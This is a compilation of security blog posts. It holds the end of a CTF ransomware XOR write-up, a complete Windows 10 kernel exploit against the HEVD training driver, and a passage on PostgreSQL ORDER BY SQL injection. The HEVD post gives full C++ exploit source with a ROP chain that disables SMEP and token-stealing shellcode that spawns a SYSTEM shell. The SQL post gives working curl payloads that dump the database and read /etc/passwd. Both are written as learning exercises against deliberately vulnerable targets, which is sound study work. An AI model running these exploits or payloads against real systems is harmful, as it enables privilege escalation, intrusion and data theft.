so we know both cipher text and plaintext so this encryption can be cryptanalysed using Known PlainText Attack since we know
cyphertext=plaintext^key
which also means that
key=plaintext^ciphertext
so we can write a simple python script to automate above logic and find us the keystring.
Note: if you are not on win7 or do not have the chrysanthemum.jpg you can download from the internet archive here
Also you can use any file here i choose chrysanthemum.
Once we get the key array we can decrypt the files using the same logic as the malware used to encrypt the files. we can automate this by writing simple python script as:
running this script we can successfuly decrypt the flag and the flag turns out to be
FLAG{XOR-MAKES-KNOWN-PLAINTEXT-AND-FREQUENCY-ANALYSIS-EASY}
follow me on twitter at @daring_joker for updates on new tutorials.
References and Links
- Pukar Giri(Me) @daring_joker
- Marcus Hutchins [malware analyst,a cyber hero and writer of this challenge ] @MalwareTechBlogs
- Cutter [ one of best Opensource Reversing tools]
- Assembly-reference [cutter plugin for beginning reverse engineers]
Sursa: https://daringjoker.wordpress.com/2020/05/03/chransomware1/
-
HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass
14 minute read
Introduction
This is going to be my last HEVD blog post. This was all of the exploits I wanted to hit when I started this goal in late January. We did quite a few, there are some definitely interesting ones left on the table and there is all of the Linux exploits as well. I’ll speak more about future posts in a future post (haha). I used Hacksys Extreme Vulnerable Driver 2.0 and Windows 10 Build 14393.rs1_release.160715-1616 for this exploit. Some of the newer Windows 10 builds were bugchecking this technique.
All of the exploit code can be found here.
Thanks
- To @Cneelis for having such great shellcode in his similar exploit on a different Windows 10 build here: https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c
- To @abatchy17 for his awesome blog post on his SMEP bypass here: https://www.abatchy.com/2018/01/kernel-exploitation-4
- To @ihack4falafel for helping me figure out where to return to after running my shellcode.
And as this is the last HEVD blog post, thanks to everyone who got me this far. As I’ve said every post so far, nothing I was doing is my own idea or technique, was simply recreating their exploits (or at least trying to) in order to learn more about the bug classes and learn more about the Windows kernel. (More thoughts on this later in a future blog post).
SMEP
We’ve already completed a Stack Overflow exploit for HEVD on Windows 7 x64 here; however, the problem is that starting with Windows 8, Microsoft implemented a new mitigation by default called Supervisor Mode Execution Prevention (SMEP). SMEP detects kernel mode code running in userspace stops us from being able to hijack execution in the kernel and send it to our shellcode pointer residing in userspace.
Bypassing SMEP
Taking my cues from Abatchy, I decided to try and bypass SMEP by using a well-known ROP chain technique that utilizes segments of code in the kernel to disable SMEP and then heads to user space to call our shellcode.
In the linked material above, you see that the CR4 register is responsible for enforcing this protection and if we look at Wikipedia, we can get a complete breakdown of CR4 and what its responsibilities are:
20 SMEP Supervisor Mode Execution Protection Enable If set, execution of code in a higher ring generates a fault.
So the 20th bit of the CR4 indicates whether or not SMEP is enforced. Since this vulnerability we’re attacking gives us the ability to overwrite the stack, we’re going to utilize a ROP chain consisting only of kernel space gadgets to disable SMEP by placing a new value in CR4 and then hit our shellcode in userspace.
Getting Kernel Base Address
The first thing we want to do, is to get the base address of the kernel. If we don’t get the base address, we can’t figure out what the offsets are to our gadgets that we want to use to bypass ASLR. In WinDBG, you can simply run lm sm to list all loaded kernel modules alphabetically:
---SNIP--- fffff800`10c7b000 fffff800`1149b000 nt ---SNIP---
We need a way also to get this address in our exploit code. For this part, I leaned heavily on code I was able to find by doing google searches with some syntax like: site:github.com NtQuerySystemInformation and seeing what I could find. Luckily, I was able to find a lot of code that met my needs perfectly. Unfortunately, on Windows 10 in order to use this API your process requires some level of elevation. But, I had already used the API previously and was quite fond of it for giving me so much trouble the first time I used it to get the kernel base address and wanted to use it again but this time in C++ instead of Python.
Using a lot of the tricks that I learned from @tekwizz123’s HEVD exploits, I was able to get the API exported to my exploit code and was able to use it effectively. I won’t go too much into the code here, but this is the function and the typedefs it references to retrieve the base address to the kernel for us:
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp //also using the same import technique that @tekwizz123 showed us PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase; }
This code imports NtQuerySystemInformation from nt.dll and allows us to use it with the System Module Information parameter which returns to us a nice struct of a ModulesCount (how many kernel modules are loaded) and an array of the Modules themselves which have a lot of struct members included a Name. In all my research I couldn’t find an example where the kernel image wasn’t index value 0 so that’s what I’ve implemented here.
You could use a lot of the cool string functions in C++ to easily get the base address of any kernel mode driver as long as you have the name of the .sys file. You could cast the Modules.Name member to a string and do a substring match routine to locate your desired driver as you iterate through the array and return the base address. So now that we have the base address figured out, we can move on to hunting the gadgets.
Hunting Gadgets
The value of these gadgets is that they reside in kernel space so SMEP can’t interfere here. We can place them directly on the stack and overwrite rip so that we are always executing the first gadget and then returning to the stack where our ROP chain resides without ever going into user space. (If you have a preferred method for gadget hunting in the kernel let me know, I tried to script some things up in WinDBG but didn’t get very far before I gave up after it was clear it was super inefficient.) Original work on the gadget locations as far as I know is located here: http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html
Again, just following along with Abatchy’s blog, we can find Gadget 1 (actually the 2nd in our code) by locating a gadget that allows us to place a value into cr4 easily and then takes a ret soon after. Luckily for us, this gadget exists inside of nt!HvlEndSystemInterrupt.
We can find it in WinDBG with the following:
kd> uf HvlEndSystemInterrupt nt!HvlEndSystemInterrupt: fffff800`10dc1560 4851 push rcx fffff800`10dc1562 50 push rax fffff800`10dc1563 52 push rdx fffff800`10dc1564 65488b142588610000 mov rdx,qword ptr gs:[6188h] fffff800`10dc156d b970000040 mov ecx,40000070h fffff800`10dc1572 0fba3200 btr dword ptr [rdx],0 fffff800`10dc1576 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff800`10dc157e) nt!HvlEndSystemInterrupt+0x18: fffff800`10dc1578 33c0 xor eax,eax fffff800`10dc157a 8bd0 mov edx,eax fffff800`10dc157c 0f30 wrmsr nt!HvlEndSystemInterrupt+0x1e: fffff800`10dc157e 5a pop rdx fffff800`10dc157f 58 pop rax fffff800`10dc1580 59 pop rcx // Gadget at offset from nt: +0x146580 fffff800`10dc1581 c3 ret
As Abatchy did, I’ve added a comment so you can see the gadget we’re after. We want this:
pop rcx
ret routine because if we can place an arbitrary value into rcx, there is a second gadget which allows us to mov cr4, rcx and then we’ll have everything we need.
Gadget 2 is nested within the KiEnableXSave kernel routine as follows (with some snipping) in WinDBG:
kd> uf nt!KiEnableXSave nt!KiEnableXSave: ---SNIP--- nt! ?? ::OKHAJAOM::`string'+0x32fc: fffff800`1105142c 480fbaf112 btr rcx,12h fffff800`11051431 0f22e1 mov cr4,rcx // Gadget at offset from nt: +0x3D6431 fffff800`11051434 c3 ret
So with these two gadgets locations known to us, as in, we know their offsets relative to the kernel base, we can now implement them in our code. So to be clear, our payload that we’ll be sending will look like this when we overwrite the stack:
- ‘A’ characters * 2056
- our pop rcx gadget
- The value we want rcx to hold
- our mov cr4, rcx gadget
- pointer to our shellcode.
So for those following along at home, we will overwrite rip with our first gadget, it will pop the first 8 byte value on the stack into rcx. What value is that? Well, it’s the value that we want cr4 to hold eventually and we can simply place it onto the stack with our stack overflow. So we will pop that value into rcx and then the gadget will hit a ret opcode which will send the rip to our second gadget which will mov cr4, rcx so that cr4 now holds the SMEP-disabled value we want. The gadget will then hit a ret opcode and return rip to where? To a pointer to our userland shellcode that it will now run seemlessly because SMEP is disabled.
You can see this implemented in code here:
BYTE input_buff[2088] = { 0 }; INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1 cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl; INT64 rcx_value = 0x70678; // value we want placed in cr4 INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2 cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl; memset(input_buff, '\x41', 2056); memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode
CR4 Value
Again, just following along with Abatchy, I’ll go ahead and place the value 0x70678 into cr4. In binary, 1110000011001111000 which would mean that the 20th bit, the SMEP bit, is set to 0. You can read more about what values to input here on j00ru’s blog post about SMEP.
So if cr4 holds this value, SMEP should be disabled.
Restoring Execution
The hardest part of this exploit for me was restoring execution after the shellcode ran. Unfortunately, our exploit overwrites several register values and corrupts our stack quite a bit. When my shellcode is done running (not really my shellcode, its borrowed from @Cneelis), this is what my callstack looked like along with my stack memory values:
Restoring execution will always be pretty specific to what version of HEVD you’re using and also perhaps what build of Windows you’re on as the some of the kernel routines will change, so I won’t go too much in depth here. But, what I did to figure out why I kept crashing so much after returning to the address in the screenshot of HEVD!IrpDeviceIoCtlHandler+0x19f which is located in the right hand side of the screenshot at ffff9e8196b99158, is that rsi is typically zero’d out if you send regular sized buffers to the driver routine.
So if you were to send a non-overflowing buffer, and put a breakpoint at nt!IopSynchronousServiceTail+0x1a0 (which is where rip would return if we took a ret out our address of ffff9e8196b99158), you would see that rsi is typically 0 when normally system service routines are exiting so when I returned, I had to have an rsi value of 0 in order to stop from getting an exception.
I tried just following the code through until I reached an exception with a non-zero rsi but wasn’t able to pinpoint exactly where the fault occurs or why. The debug information I got from all my bugchecks didn’t bring me any closer to the answer (probably user error). I noticed that if you don’t null out rsi before returning, rsi wouldn’t be referenced in any way until a value was popped into it from the stack which happened to be our IOCTL code, so this confused me even more.
Anyways, my hacky way of tracing through normally sized buffers and taking notes of the register values at the same point we return to out of our shellcode did work, but I’m still unsure why 😒.
Conclusion
All in all, the ROP chain to disable SMEP via cr4 wasn’t too complicated, this could even serve as introduction to ROP chains for some in my opinion because as far as ROP chains go this is fairly straightforward; however, restoring execution after our shellcode was a nightmare for me. A lot of time wasted by misinterpreting the callstack readouts from WinDBG (a lesson learned). As @ihack4falafel says, make sure you keep an eye on @rsp in your memory view in WinDBG anytime you are messing with the stack.
Exploit code here.
Thanks again to all the bloggers who got me through the HEVD exploits:
- FuzzySec
- r0oki7
- Tekwizz123
- Abatchy
- everyone else I’ve referenced in previous posts!
Huge thanks to HackSysTeam for developing the driver for us to all practice on, can’t wait to tackle it on Linux!
#include <iostream> #include <string> #include <Windows.h> using namespace std; #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" #define IOCTL 0x222003 typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); HANDLE grab_handle() { HANDLE hFile = CreateFileA(DEVICE_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT64)hFile << endl; return hFile; } void send_payload(HANDLE hFile, INT64 kernel_base) { cout << "[>] Allocating RWX shellcode..." << endl; // slightly altered shellcode from // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c // thank you @Cneelis BYTE shellcode[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) "\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 2f0h] ; ActiveProcessLinks list head "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list //find_system_proc: "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process "\x74\x05" // jz found_system ; Found SYSTEM token "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer "\xEB\xF1" // jmp find_system_proc ; Loop //found_system: "\x48\x8B\x41\x68" // mov rax, [rcx + 68h] ; Offset from ActiveProcessLinks to Token "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure "\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token "\x48\x83\xC4\x40" // add rsp, 040h "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS "\xc3"; LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_addr, shellcode, sizeof(shellcode)); cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr << endl; BYTE input_buff[2088] = { 0 }; INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1 cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl; INT64 rcx_value = 0x70678; // value we want placed in cr4 INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2 cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl; memset(input_buff, '\x41', 2056); memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode // keep this here for testing so you can see what normal buffers do to subsequent routines // to learn from for execution restoration /* BYTE input_buff[2048] = { 0 }; memset(input_buff, '\x41', 2048); */ cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl; DWORD bytes_ret = 0x0; cout << "[>] Sending payload..." << endl; int result = DeviceIoControl(hFile, IOCTL, input_buff, sizeof(input_buff), NULL, 0, &bytes_ret, NULL); if (!result) { cout << "[!] DeviceIoControl failed!" << endl; } } INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp //also using the same import technique that @tekwizz123 showed us PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase; } void spawn_shell() { cout << "[>] Spawning nt authority/system shell..." << endl; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); STARTUPINFOA si; ZeroMemory(&si, sizeof(si)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); } int main() { HANDLE hFile = grab_handle(); INT64 kernel_base = get_kernel_base(); send_payload(hFile, kernel_base); spawn_shell(); }
Tags: Drivers Exploit Dev Shellcoding SMEP Windows 10 x64
Updated: May 04, 2020
Sursa: https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/#
-
SQL INJECTION AND POSTGRES - AN ADVENTURE TO EVENTUAL RCE
by Denis Andzakovic
May 5 2020
An SQL injection bug in an ORDER BY clause came up in a recent engagement, which lead to an interesting rabbit hole regarding exploiting SQLi against a PostgreSQL database. This post details some of that adventure. We’ll look at some useful Postgres functions to make exploiting SQLi easier, some interesting file read/write primitives and a path to command execution as the DB user. I’ve included some sample vulnerable code for those of you that want to try this stuff out first hand.
I ended up helping one of my Pulse comrades with this injection sink (and then a ‘hey hows it going’ message in the company chat spiralled into, well, this). The database user was a superuser, but without the ability to execute any CREATE/UPDATE/INSERT/DELETE statements from inside a SELECT query, most of the commonly documented methods for further exploitation weren’t available to us. The solution? Dump all the function definitions from Postgres, download the source code and start digging! There’s likely way more interesting stuff inside Postgres, so I’ve included some of my function-finding-and-digging notes at the end.
THE BUG
I’ve replicated the issue we came across during the engagement in a vulnerable Flask app included at the bottom of this page. I’m a fan of replicating issues with test code, that way I can trawl through logs, run debuggers and have much greater visibility over what’s going on. Once the exploit has been figured out, it can then be launched against the real-life target.
In this case, the bug was an SQL injection sink in a parameter that was meant to provide either the ASC or DESC definition for the ORDER BY part of the query. The following snippet shows the bug:
cols = ['id','name','note','created_on'] @app.route("/") def index(): result = "<h1> Test some stuff </h1>" order = request.args.get("order") sort = request.args.get("sort") sqlquery = "select * from animals"; if order in cols: sqlquery = sqlquery + " order by " + order if sort: sqlquery = sqlquery + " " + sort cur = conn.cursor() try: cur.execute(sqlquery) except psycopg2.Error as e: conn.rollback() return Response(e.pgerror, mimetype='text/plain')
The order parameter is checked against a whitelist, but the sort parameter is not, which results in our injection. Errors are returned in the HTTP response, which is going to make exploitation a whole bunch easier (more on this soon!). By passing order=id&sort=%27, we get the following that confirms the injection:
:~$ curl "127.0.0.1:5000/?order=id&sort=%27" ERROR: unterminated quoted string at or near "'" LINE 1: select * from animals order by id '
Marvelous. Note, the original bug we found didn’t allow stacked queries, my Flask+psycopg2 analog does. This post wont look at exploiting query-stacking, given that being able to stack queries means we are no longer confined to a SELECT statement, which gives us the ability to CREATE and INSERT our little hacker hearts away. I’ll have to ask for some suspension-of-disbelief on this one.
INJECTION IN ORDER BY
Now that we understand the injection point, we need to craft a payload that we can use to pull information out of the database. Let’s look at two ways to achieve that, with response discrepancy and with data exfiltration via error messages.
RESPONSE DISCREPANCY
The ORDER BY clause allows you to order by multiple columns, provided you separate them by a comma. For example, ORDER BY id, name will order by id, then by name. Postgres allows you to use CASE statements within the ORDER BY clause, which we can leverage to execute a query and test the result. The query we’re after would look something like this:
SELECT * FROM ANIMALS ORDER BY note, (CASE WHEN (SELECT '1')='1')+THEN+note+ELSE+id::text+END)
If the statement is true, the results will be ordered by note, then note (no change to ordering). If the statement is false, then the results will be ordered by name then id.
An important side note. It’s important to ensure the first ORDER BY clause is a column that isn’t unique across all rows. Meaning, it needs to order by a value that’s the same for at least two rows. If the first ORDER BY column is unique in every row, then Postgres will not execute the second order clause!
Here’s what that practically looks like:
And when its false:
You can change that SELECT statement to pull out or whatever data, sub-string it, and test the result character-by-character. This kind of blind injection is documented all over the web, so I won’t be going into that here. Given that we have error messages being returned to us though, there is an easier option.
ERROR MESSAGE EXFIL
Running seventeen bazillion queries against a SQLi sink is fun and all, but since error messages are returned we can use that instead. By purposefully messing up a CAST, we can get query results via the error message. The payload would look something like this:
SELECT CAST(chr(32)||(SELECT pg_user) AS NUMERIC)
And the complete injection string, note that in this case the precedence of our ORDER BY parameters doesn’t matter, the CAST executes regardless so specifying any valid column for order works:
$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20version())%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: invalid input syntax for type numeric: " PostgreSQL 11.7 (Debian 11.7-0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit"
Here’s where things get a little tricky, watch what happens when we try a query that returns more than one row:
$ curl 'http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20*%20FROM%20pg_user)%20AS%20NUMERIC))=%271%27)%20THEN%20name%20ELSE%20note%20END)' ERROR: subquery must return only one column LINE 1: ...ls order by id ,(CASE WHEN ((SELECT CAST(CHR(32)||(SELECT * ...
Wamp. At this point you could use the LIMIT clause, but there is a quicker way. Which leads us too…
POSTGRES XML FUNCTIONS
Postgres includes some handy dandy XML helpers. If we grep all the available Postgres functions and search for xml, we get the following:
xml_in xml_out xmlcomment xml xmlvalidate xml_recv xml_send xmlconcat2 xmlagg table_to_xml query_to_xml cursor_to_xml table_to_xmlschema query_to_xmlschema cursor_to_xmlschema table_to_xml_and_xmlschema query_to_xml_and_xmlschema schema_to_xml schema_to_xmlschema schema_to_xml_and_xmlschema database_to_xml database_to_xmlschema database_to_xml_and_xmlschema xmlexists xml_is_well_formed xml_is_well_formed_document xml_is_well_formed_content
We’re going to look at two of these a bit closer, query_to_xml and database_to_xml.
QUERY_TO_XML
query_to_xml executes a query then returns the result as an XML object. The bonus here is that it will return a single row. So we chain that with the error-based SQLi we discussed earlier and hey presto, execute any SQL statement and retrieve the result, without having to worry about limits or multiple rows. First we need to figure out how to call it. In this case, query_to_xml(query text, nulls boolean, tableforest boolean, targetns text). Or, as part of our injection payload:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20*%20from%20pg_user',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>postgres</usename> <usesysid>10</usesysid> <usecreatedb>true</usecreatedb> <usesuper>true</usesuper> <userepl>true</userepl> <usebypassrls>true</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <usename>testuser</usename> <usesysid>16385</usesysid> <usecreatedb>false</usecreatedb> <usesuper>true</usesuper> <userepl>false</userepl> <usebypassrls>false</usebypassrls> <passwd>********</passwd> <valuntil xsi:nil="true"/> <useconfig xsi:nil="true"/> </row>
Glorious. Also, note that the Postgres user that we’re connecting as is a super user, that’s going to come in handy shortly.
DATABASE_TO_XML
We can also use the xml helpers to dump the entire DB with a single query.
Ok, so fair warning, on a big database or any kind of production app, you probably don’t want to do this. But with that out of the way, here’s how you dump the entire database using a single query from inside an error-based SQLi. When we did this against the real-world app (in a test environment!), we ended up with a 150MB xml file. So use caution.
Anyway, what you want is database_to_xml(true,true,''). Here’s what that looks like:
:~$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20database_to_xml(true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <testdb xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <public> <animals> <id>1</id> <name>dog</name> <note>is a good dog</note> <created_on>2020-05-04T14:40:16.909665</created_on> </animals> <animals> <id>2</id> <name>cat</name> <note>adorable, if passive aggressive</note> <created_on>2020-05-04T14:40:16.915896</created_on> </animals> <animals> <id>3</id> <name>fish</name> <note>fish go blub</note> <created_on>2020-05-04T14:40:16.918411</created_on> </animals> <animals> <id>4</id> <name>whale</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.920589</created_on> </animals> <animals> <id>5</id> <name>shrimp</name> <note>also go blub</note> <created_on>2020-05-04T14:40:16.92258</created_on> </animals> <animals> <id>6</id> <name>giraffe</name> <note>long neck, neato spots</note> <created_on>2020-05-04T14:40:16.924759</created_on> </animals> <animals> <id>7</id> <name>rock</name> <note>TICKET 1143 rock is not animal</note> <created_on>2020-05-04T14:40:16.926717</created_on> </animals> <secrets> <id>1</id> <name>some-secret</name> <secret_info>super secret info in the db</secret_info> </secrets> </public> </testdb> "
If you’d like to be more subtle, use database_to_xmlschema to figure out the DB structure, then query_to_xml to pull just what you need.
FILE READ AND WRITE
Since our user is a super user, we can read and write files to any location on the file-system using Postgres’ large objects. But first, a note on some of the more widely documented techniques for file read and dir listing.
PG_LS_DIR AND PG_READ_FILE CHANGES
pg_ls_dir and pg_read_file are detailed in various Postgres SQLi cheatsheets. These methods did not allow absolute paths in prior versions of Postgres, but as of this commit, members of the DEFAULT_ROLE_READ_SERVER_FILES group and super users can use these methods on any path (check out convert_and_check_filename in genfile.c).
Unfortunately, the target-app-in-real-life was running on an older version of Postgres, so no global file read and directory listing. Our demo analog app is on Debian 10 with Postgres 11 installed via apt, and is connecting as a super user, so no problem:
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20query_to_xml('select%20pg_ls_dir(''/'')',true,true,''))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>vmlinuz.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>srv</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>initrd.img.old</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>proc</pg_ls_dir> </row> ...snip... <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>var</pg_ls_dir> </row> <row xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <pg_ls_dir>dev</pg_ls_dir> </row>
$ curl "http://127.0.0.1:5000/?order=id&sort=,(CASE%20WHEN%20((SELECT%20CAST(CHR(32)||(SELECT%20pg_read_file('/etc/passwd'))%20AS%20NUMERIC)=%271%27))%20THEN%20name%20ELSE%20note%20END)" ERROR: invalid input syntax for type numeric: " root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...snip... postgres:x:108:114:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash "
READING AND WRITING FILES WITH LARGE OBJECTS
Postgres large objects provide a mechanism to store data, as well as read and write things from the file-system. Looking at our function list, we can see the following methods:
lo_close lo_creat lo_create lo_export lo_from_bytea lo_get lo_import lo_lseek lo_lseek64 lo_open lo_put lo_tell lo_tell64 lo_truncate lo_truncate64 lo_unlink
We’re going to be focusing on lo_import and lo_export to read and write files, respectively. The two tables that data ends up in is pg_largeobject and pg_largeobject_metadata. These methods are run inside a transaction block, meaning that the request has to be successful and not roll back. So no error-based SQLi, we need an SQLi payload the executes successfully.
FILE READ WITH LO_IMPORT
lo_import allows you to specify a file-system path. The file will be read and loaded into a large object, with the OID of the object returned. Using query_to_xml, we can request the pg_largeobject able and pull the data out, neatly base64-ed by the XML function. So to load /etc/passwd, we’d using the following payload:
, (CASE WHEN (SELECT lo_import('/etc/passwd'))='1')+THEN+note+ELSE+id::text+END)
